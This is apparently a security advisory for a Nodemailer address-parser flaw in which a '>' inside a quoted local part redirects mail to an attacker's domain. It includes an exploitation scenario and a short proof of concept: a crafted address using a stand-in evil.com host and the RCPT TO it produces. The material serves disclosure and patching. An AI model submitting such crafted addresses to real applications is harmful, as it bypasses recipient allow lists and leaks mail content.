---
id: "GHSA-85x2-q946-cp5h"
kind: "vulnerability"
aliases: ["GHSA-85x2-q946-cp5h"]
title: "Nodemailer: A \">\" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name"
severity: "medium"
cvss: 6.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "nodemailer", "fixed": ["10.1.4"], "affected": ">= 3.0.0, < 10.1.4", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-20", "cwe-436", "email", "node.js", "nodemailer", "npm", "package"]
not_affected_if: ["no-user-controlled-recipients", "version-10.1.4-or-later"]
published_at: "2026-10-23T21:51:18+00:00"
first_seen_at: "2026-10-23T21:51:54+00:00"
updated_at: "2026-10-23T21:52:58+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-85x2-q946-cp5h", "first_seen_at": "2026-10-23T21:51:54+00:00"}]
---

# Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name

Nodemailer's address parser ends an angle-addr at a '>' inside a quoted local part, so a crafted To value is read as a different domain than the one a conformant validator sees. An attacker can get mail an application meant for an allowed domain delivered to a domain they choose, bypassing recipient allow lists.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:nodemailer affected >= 3.0.0, < 10.1.4 fixed 10.1.4

## How to check

Run npm ls nodemailer and check whether the version is >= 3.0.0 and < 10.1.4.
Check whether the application passes user-supplied recipient or sender addresses to Nodemailer, or uses mailparser on inbound headers.

## Fix

Upgrade nodemailer to 10.1.4 or later.

## Timeline

- 2026-10-23T21:51:54+00:00 ghsa https://github.com/advisories/GHSA-85x2-q946-cp5h

## From the sources

### Vulnerability summary

addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. `<"a@evil.com>"@good.com>` is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.

### Attacker capabilities

The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

### Realistic exploitation scenario

An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits `<"a@evil.com>"@good.com>`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO:<"\"a"@evil.com>` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.

### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"a@evil.com>\"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same value as `"a@evil.com>"@good.com`, with no defects reported.

The envelope a message gets is built from the same parse, so `sendMail({ to: "<\"a@evil.com>\"@good.com>" })` issues the RCPT TO shown above.

### Security impact

Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `>` outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_